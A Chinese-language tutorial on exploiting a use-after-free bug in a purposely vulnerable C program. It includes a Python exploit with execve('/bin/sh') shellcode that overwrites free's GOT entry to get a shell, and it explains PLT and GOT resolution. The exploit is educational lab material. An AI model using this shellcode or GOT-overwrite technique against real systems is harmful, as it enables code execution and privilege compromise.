0x00 背景
看了这个同学的博客,翻译整理了一下,并修正了一个小错误。
http://inaz2.hatenablog.com/entry/2014/06/18/215452
0x01 UAF
首先有这样一个程序,它存在uaf的漏洞:
/* uaf.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct Box {
int size;
char *buf;
};
struct Box *create_box(int size)
{
struct Box *box;
box = malloc(sizeof(struct Box));
box->size = size;
box->buf = malloc(size);
return box;
}
void free_box(struct Box *box)
{
free(box->buf);
free(box);
}
int main(int argc, char *argv[])
{
struct Box *box;
int size;
char *newbuf;
int test;
scanf("%d", &test); //stop the program for debugging
box = create_box(100);
printf("[+] box = %p\n", box);
strncpy(box->buf, argv[1], 100);
printf("[+] box->buf = %p\n", box->buf);
free_box(box);
size = atoi(argv[2]);
newbuf = malloc(size);
printf("[+] newbuf = %p\n", newbuf);
strncpy(newbuf, argv[3], size);
printf("[+] box->buf = %p\n", box->buf);
strncpy(box->buf, argv[4], 100);
printf("[+] *box->buf = 0x%x\n", ((int*)(box->buf))[0]);
free(newbuf);
return 0;
}
可以在linux上用下面的方法编译。
gcc -m32 -z execstack uaf.c
这个程序对输入argv[1]
~argv[3]
的处理可以参考下图。
至于为什么中间box->buf
被释放后前8个字节被覆盖为fd,bk,这个可以参考glibc的malloc算法:
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
我们随便输一些参数试试,可以发现box->buf的地址被覆盖为CCCC(0x43434343)
,这点符合我们上面画的图。
nevermoe@nevermoe-VirtualBox:~/Documents/test$ ./a.out AAAA 8 BBBBCCCC DDDDDDDD
1
[+] box = 0x804b410
[+] box->buf = 0x804b420
[+] newbuf = 0x804b410
[+] box->buf = 0x43434343
Segmentation fault (core dumped)
由此我们有下面的exploit:
# exploit.py
import sys
import struct
from subprocess import Popen
addr_box_buf = int(sys.argv[1], 16)
# execve("/bin/ls", {"/bin/ls", NULL}, NULL)
# shellcode = '\x31\xd2\x52\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
addr_got_free = 0x804a010 # objdump -d -j.plt a.out
# first 8 bytes will be overwritten by fd, bk when freed
box_buf1 = 'BBBBBBBB' + shellcode
size_newbuf = 8
newbuf = 'AAAA'
newbuf += struct.pack('<I', addr_got_free)
box_buf2 = struct.pack('<I', addr_box_buf)
p = Popen(['./a.out', box_buf1, str(size_newbuf), newbuf, box_buf2])
p.wait()
执行该exploit,0x804b428
为开始box->buf指向的地址加8:
nevermoe@nevermoe-VirtualBox:~/Documents/test$ sudo python exploit.py 0x804b428
1
[+] box = 0x804b410
[+] box->buf = 0x804b420
[+] newbuf = 0x804b410
[+] box->buf = 0x804a010
[+] *box->buf = 0x804b428
# id
uid=0(root) gid=0(root) groups=0(root)
注意*box->buf
即为free函数的got被修改后的值。
可以看到我们获得了root的shell。
0x02 关于plt和got的补充
linux上调用外部库的函数的时候使用plt和got,首先调用处会调用类似free@plt
,然后在free@plt
处使用jmp调用got
里写好的地址,类似于jmp *0xdeadbeef
,其中deadbeef
即为free@got
的地址。如果是首次调用,则got条目还没创建,这时*deadbeef
的值为free@plt+4
,即跳回free@plt+4
处执行,而free@plt+4
会将函数名对应的index push压栈,然后调用解析函数解析该函数所在的地址,并将地址写入到0xdeadbeef
处。下次调用free@plt
时就会直接跳到库函数处执行了。